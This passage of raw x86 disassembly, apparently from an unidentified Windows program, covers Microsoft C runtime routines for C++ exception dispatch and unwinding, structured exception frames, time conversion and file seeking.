call sub_41CAF7
add esp, 14h
mov ebx, eax
loc_421E81: ; CODE XREF: sub_421DB1+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_421F18
cmp [ebx], edi
jg short loc_421F0D
cmp edi, [ebx+4]
jg short loc_421F0D
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_421F0A
loc_421EA6: ; CODE XREF: sub_421DB1+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_421ED7
loc_421EB8: ; CODE XREF: sub_421DB1+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_422000
add esp, 0Ch
test eax, eax
jnz short loc_421EE6
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_421EB8
loc_421ED7: ; CODE XREF: sub_421DB1+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_421EA6
jmp short loc_421F0A
; ---------------------------------------------------------------------------
loc_421EE6: ; CODE XREF: sub_421DB1+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_422111
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_421F0A: ; CODE XREF: sub_421DB1+F3j
; sub_421DB1+133j
mov edi, [ebp+var_10]
loc_421F0D: ; CODE XREF: sub_421DB1+DEj
; sub_421DB1+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_421E81
; ---------------------------------------------------------------------------
loc_421F18: ; CODE XREF: sub_421DB1+D6j
cmp [ebp+arg_14], 0
jz short loc_421F28
push 1
push esi
call sub_422486
pop ecx
pop ecx
loc_421F28: ; CODE XREF: sub_421DB1+56j
; sub_421DB1+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_421F2D: ; CODE XREF: sub_421DB1+37j
; sub_421DB1+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_421F53
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_421F58
add esp, 20h
jmp short loc_421F28
; ---------------------------------------------------------------------------
loc_421F53: ; CODE XREF: sub_421DB1+180j
jmp sub_42255C
sub_421DB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F58 proc near ; CODE XREF: sub_421DB1+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_4DB324, 0
push esi
push edi
jz short loc_421F89
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41C9CE
add esp, 1Ch
test eax, eax
jnz short loc_421FFC
loc_421F89: ; CODE XREF: sub_421F58+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41CAF7
add esp, 14h
mov esi, eax
loc_421FA5: ; CODE XREF: sub_421F58+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_421FFC
cmp edi, [esi]
jl short loc_421FF4
cmp edi, [esi+4]
jg short loc_421FF4
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_421FCE
cmp byte ptr [ecx+8], 0
jnz short loc_421FF4
loc_421FCE: ; CODE XREF: sub_421F58+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_422111
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_421FF4: ; CODE XREF: sub_421F58+57j
; sub_421F58+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_421FA5
; ---------------------------------------------------------------------------
loc_421FFC: ; CODE XREF: sub_421F58+2Fj
; sub_421F58+53j
pop edi
pop esi
leave
retn
sub_421F58 endp
; =============== S U B R O U T I N E =======================================
sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_422057
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_422057
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_422031
add ecx, 8
push ecx
push edx
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_422053
loc_422031: ; CODE XREF: sub_422000+1Fj
test byte ptr [esi], 2
jz short loc_42203B
test byte ptr [edi], 8
jz short loc_422053
loc_42203B: ; CODE XREF: sub_422000+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_42204A
test byte ptr [edi], 1
jz short loc_422053
loc_42204A: ; CODE XREF: sub_422000+43j
test al, 2
jz short loc_422057
test byte ptr [edi], 2
jnz short loc_422057
loc_422053: ; CODE XREF: sub_422000+2Fj
; sub_422000+39j ...
xor eax, eax
jmp short loc_42205A
; ---------------------------------------------------------------------------
loc_422057: ; CODE XREF: sub_422000+Bj
; sub_422000+14j ...
push 1
pop eax
loc_42205A: ; CODE XREF: sub_422000+55j
pop edi
pop esi
retn
sub_422000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42205D proc near ; CODE XREF: sub_421D16+34p
; ___:00422153p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278C8
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_42208F: ; CODE XREF: sub_42205D+8Aj
cmp esi, [ebp+arg_C]
jz short loc_4220E9
cmp esi, 0FFFFFFFFh
jle short loc_42209E
cmp esi, [edi+4]
jl short loc_4220A3
loc_42209E: ; CODE XREF: sub_42205D+3Aj
call sub_4225B2
loc_4220A3: ; CODE XREF: sub_42205D+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_4220BE
push 103h
push ebx
push eax
call sub_422510
loc_4220BE: ; CODE XREF: sub_42205D+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4220DE
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_4220FB
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_4220DE: ; CODE XREF: sub_42205D+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_42208F
; ---------------------------------------------------------------------------
loc_4220E9: ; CODE XREF: sub_42205D+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_42205D endp
; =============== S U B R O U T I N E =======================================
sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_42210C
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42210C: ; CODE XREF: sub_4220FB+Cj
jmp sub_42255C
sub_4220FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_422111 proc near ; CODE XREF: sub_421DB1+151p
; sub_421F58+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_422133
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_4222C2
add esp, 10h
loc_422133: ; CODE XREF: sub_422111+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_42213F
push edi
jmp short loc_422142
; ---------------------------------------------------------------------------
loc_42213F: ; CODE XREF: sub_422111+29j
push [ebp+arg_24]
loc_422142: ; CODE XREF: sub_422111+2Cj
call sub_41C8D0
sub_422111 endp
; ---------------------------------------------------------------------------
mov esi, [ebp+24h]
push dword ptr [esi]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push edi
call sub_42205D
mov eax, [esi+4]
push 100h
push dword ptr [ebp+28h]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+10h]
push edi
push dword ptr [ebp+8]
call sub_42218C
add esp, 2Ch
test eax, eax
jz short loc_422187
push edi
push eax
call sub_41C88E
loc_422187: ; CODE XREF: ___:0042217Ej
pop edi
pop esi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42218C proc near ; CODE XREF: ___:00422174p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278D8
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_4DB31C
mov [ebp+var_1C], ecx
mov ecx, dword_4DB320
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_4DB31C, edi
mov ecx, [ebp+arg_8]
mov dword_4DB320, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_41C955
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_422252
mov eax, [ebp+var_2C]
loc_422219: ; CODE XREF: sub_422232+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_42218C endp
; =============== S U B R O U T I N E =======================================
sub_422228 proc near ; DATA XREF: ___:004278E8o
push dword ptr [ebp-14h]
call sub_422298
pop ecx
retn
sub_422228 endp
; =============== S U B R O U T I N E =======================================
sub_422232 proc near ; DATA XREF: ___:004278ECo
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_41CBB6
pop ecx
pop ecx
xor eax, eax
jmp short loc_422219
sub_422232 endp
; ---------------------------------------------------------------------------
loc_42224A: ; DATA XREF: ___:004278E0o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_422252 proc near ; CODE XREF: sub_42218C+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_4DB31C, eax
mov eax, [ebp-20h]
mov dword_4DB320, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_422297
cmp dword ptr [edi+10h], 3
jnz short locret_422297
cmp dword ptr [edi+14h], 19930520h
jnz short locret_422297
cmp [ebp-24h], ebx
jnz short locret_422297
cmp [ebp-2Ch], ebx
jz short locret_422297
call sub_41CC1E
push eax
push edi
call sub_422486
pop ecx
pop ecx
locret_422297: ; CODE XREF: sub_422252+1Cj
; sub_422252+22j ...
retn
sub_422252 endp
; =============== S U B R O U T I N E =======================================
sub_422298 proc near ; CODE XREF: sub_422228+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_4222BF
cmp dword ptr [eax+10h], 3
jnz short loc_4222BF
cmp dword ptr [eax+14h], 19930520h
jnz short loc_4222BF
cmp dword ptr [eax+1Ch], 0
jnz short loc_4222BF
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4222BF: ; CODE XREF: sub_422298+Cj
; sub_422298+12j ...
xor eax, eax
retn
sub_422298 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278F0
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_42246B
cmp byte ptr [eax+8], 0
jz loc_42246B
mov eax, [ecx+8]
test eax, eax
jz loc_42246B
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_42235F
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_424770
pop ecx
pop ecx
test eax, eax
jz loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz loc_422462
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_422350: ; CODE XREF: sub_4222C2+F5j
push eax
call sub_4224ED
pop ecx
pop ecx
mov [edi], eax
jmp loc_422467
; ---------------------------------------------------------------------------
loc_42235F: ; CODE XREF: sub_4222C2+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_4223B9
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_424770
pop ecx
pop ecx
test eax, eax
jz loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz loc_422462
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_41CC90
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_422467
mov eax, [edi]
test eax, eax
jz loc_422467
add esi, 8
push esi
jmp short loc_422350
; ---------------------------------------------------------------------------
loc_4223B9: ; CODE XREF: sub_4222C2+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_422401
call sub_424770
pop ecx
pop ecx
test eax, eax
jz loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz short loc_422462
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_4224ED
pop ecx
pop ecx
push eax
push edi
call sub_41CC90
add esp, 0Ch
jmp short loc_422467
; ---------------------------------------------------------------------------
loc_422401: ; CODE XREF: sub_4222C2+103j
call sub_424770
pop ecx
pop ecx
test eax, eax
jz short loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz short loc_422462
push dword ptr [esi+18h]
call sub_4247A8
pop ecx
test eax, eax
jz short loc_422462
test byte ptr [esi], 4
jz short loc_422448
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_4224ED
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41C8C9
jmp short loc_422467
; ---------------------------------------------------------------------------
loc_422448: ; CODE XREF: sub_4222C2+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_4224ED
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41C8C2
jmp short loc_422467
; ---------------------------------------------------------------------------
loc_422462: ; CODE XREF: sub_4222C2+6Aj
; sub_4222C2+7Cj ...
call sub_4225B2
loc_422467: ; CODE XREF: sub_4222C2+98j
; sub_4222C2+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_42246B: ; CODE XREF: sub_4222C2+2Ej
; sub_4222C2+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4222C2 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_42255C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422486 proc near ; CODE XREF: sub_421DB1+170p
; sub_422252+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427900
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_4224CD
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_4224CD
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_41C8C2
or [ebp+var_4], 0FFFFFFFFh
loc_4224CD: ; CODE XREF: sub_422486+2Aj
; sub_422486+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422486 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_42255C
; =============== S U B R O U T I N E =======================================
sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp
; sub_4222C2+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_42250E
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_42250E: ; CODE XREF: sub_4224ED+12j
pop esi
retn
sub_4224ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422510 proc near ; CODE XREF: sub_41C955+40p
; sub_42205D+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41CC41
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_42254F
mov ecx, 2
loc_42254F: ; CODE XREF: sub_422510+38j
push ecx
call sub_41CC41
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_422510 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j
; sub_4220FB:loc_42210Cj ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427910
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_4DB328
test eax, eax
jz short loc_4225A4
mov [ebp+var_4], 1
call eax
jmp short loc_4225A0
; ---------------------------------------------------------------------------
loc_422599: ; DATA XREF: ___:00427920o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_42259D: ; DATA XREF: ___:00427924o
mov esp, [ebp+var_18]
loc_4225A0: ; CODE XREF: sub_42255C+3Bj
and [ebp+var_4], 0
loc_4225A4: ; CODE XREF: sub_42255C+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_4225AD: ; DATA XREF: ___:00427918o
jmp loc_4247C0
sub_42255C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p
; sub_41CAF7:loc_41CB62p ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427928
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43C8C4
test eax, eax
jz short loc_4225FA
mov [ebp+var_4], 1
call eax ; sub_42255C
jmp short loc_4225F6
; ---------------------------------------------------------------------------
loc_4225EF: ; DATA XREF: ___:00427938o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4225F3: ; DATA XREF: ___:0042793Co
mov esp, [ebp+var_18]
loc_4225F6: ; CODE XREF: sub_4225B2+3Bj
and [ebp+var_4], 0
loc_4225FA: ; CODE XREF: sub_4225B2+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422603: ; DATA XREF: ___:00427930o
jmp sub_42255C
sub_4225B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422608 proc near ; CODE XREF: sub_41CFD3+7p
; sub_41CFD3+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4DC908
push esi
cmp eax, 3
jnz short loc_422631
mov esi, [ebp+arg_0]
push esi
call sub_41DE77
test eax, eax
pop ecx
jz short loc_42262E
mov eax, [esi-4]
sub eax, 9
jmp short loc_422666
; ---------------------------------------------------------------------------
loc_42262E: ; CODE XREF: sub_422608+1Cj
push esi
jmp short loc_422658
; ---------------------------------------------------------------------------
loc_422631: ; CODE XREF: sub_422608+Ej
cmp eax, 2
jnz short loc_422655
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_41EBD2
add esp, 0Ch
test eax, eax
jz short loc_422655
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_422666
; ---------------------------------------------------------------------------
loc_422655: ; CODE XREF: sub_422608+2Cj
; sub_422608+43j
push [ebp+arg_0]
loc_422658: ; CODE XREF: sub_422608+27j
push 0
push dword_4DC904
call near ptr 2650000h
nop
loc_422666: ; CODE XREF: sub_422608+24j
; sub_422608+4Bj
pop esi
leave
retn
sub_422608 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422669 proc near ; CODE XREF: sub_41D081+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_422725
cmp ebx, 8Ah
jg loc_422725
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_43CD8C[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_4226A8
cmp edi, 2
jle short loc_4226A8
inc esi
loc_4226A8: ; CODE XREF: sub_422669+37j
; sub_422669+3Cj
call sub_4247D7
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_43CCA8
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_42271B
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_422721
cmp dword_43CCAC, 0
jz short loc_422721
lea eax, [ebp+var_24]
push eax
call sub_424A4A
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_422721
loc_42271B: ; CODE XREF: sub_422669+90j
add ecx, dword_43CCB0
loc_422721: ; CODE XREF: sub_422669+96j
; sub_422669+9Fj ...
mov eax, ecx
jmp short loc_422728
; ---------------------------------------------------------------------------
loc_422725: ; CODE XREF: sub_422669+13j
; sub_422669+1Fj
or eax, 0FFFFFFFFh
loc_422728: ; CODE XREF: sub_422669+BAj
pop ebx
leave
retn
sub_422669 endp
; =============== S U B R O U T I N E =======================================
sub_42272B proc near ; CODE XREF: ___:0041D253p
; sub_41F11C+1A2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_4DC6C0
push esi
push edi
jnb short loc_4227AD
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DC5C0h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_4227AD
push eax
call sub_4238A2
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_42276F
mov dword_4DB278, 9
jmp short loc_4227BE
; ---------------------------------------------------------------------------
loc_42276F: ; CODE XREF: sub_42272B+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
nop
call near ptr 2760000h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_42278F
nop
call near ptr 2670D70h
jmp short loc_422791
; ---------------------------------------------------------------------------
loc_42278F: ; CODE XREF: sub_42272B+5Aj
xor eax, eax
loc_422791: ; CODE XREF: sub_42272B+62j
test eax, eax
jz short loc_42279E
push eax
call sub_4203DF
pop ecx
jmp short loc_4227BE
; ---------------------------------------------------------------------------
loc_42279E: ; CODE XREF: sub_42272B+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_4227C1
; ---------------------------------------------------------------------------
loc_4227AD: ; CODE XREF: sub_42272B+Dj
; sub_42272B+2Aj
and dword_4DB27C, 0
mov dword_4DB278, 9
loc_4227BE: ; CODE XREF: sub_42272B+42j
; sub_42272B+71j
or eax, 0FFFFFFFFh
loc_4227C1: ; CODE XREF: sub_42272B+80j
pop edi
pop esi
pop ebx
retn
sub_42272B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4227C5 proc near ; CODE XREF: ___:0041D216p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_4227E1
mov [edi+4], ebx
loc_4227E1: ; CODE XREF: sub_4227C5+17j
push 1
push ebx
push esi
call sub_42272B
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_42284F
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_422806
sub eax, [edi+4]
jmp loc_422918
; ---------------------------------------------------------------------------
loc_422806: ; CODE XREF: sub_4227C5+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_422840
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_4DC5C0[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_422857
mov edx, ecx
loc_422831: ; CODE XREF: sub_4227C5+79j
cmp edx, eax
jnb short loc_422857
cmp byte ptr [edx], 0Ah
jnz short loc_42283D
inc [ebp+var_8]
loc_42283D: ; CODE XREF: sub_4227C5+73j
inc edx
jmp short loc_422831
; ---------------------------------------------------------------------------
loc_422840: ; CODE XREF: sub_4227C5+50j
test dl, 80h
jnz short loc_422857
mov dword_4DB278, 16h
loc_42284F: ; CODE XREF: sub_4227C5+2Dj
or eax, 0FFFFFFFFh
jmp loc_422918
; ---------------------------------------------------------------------------
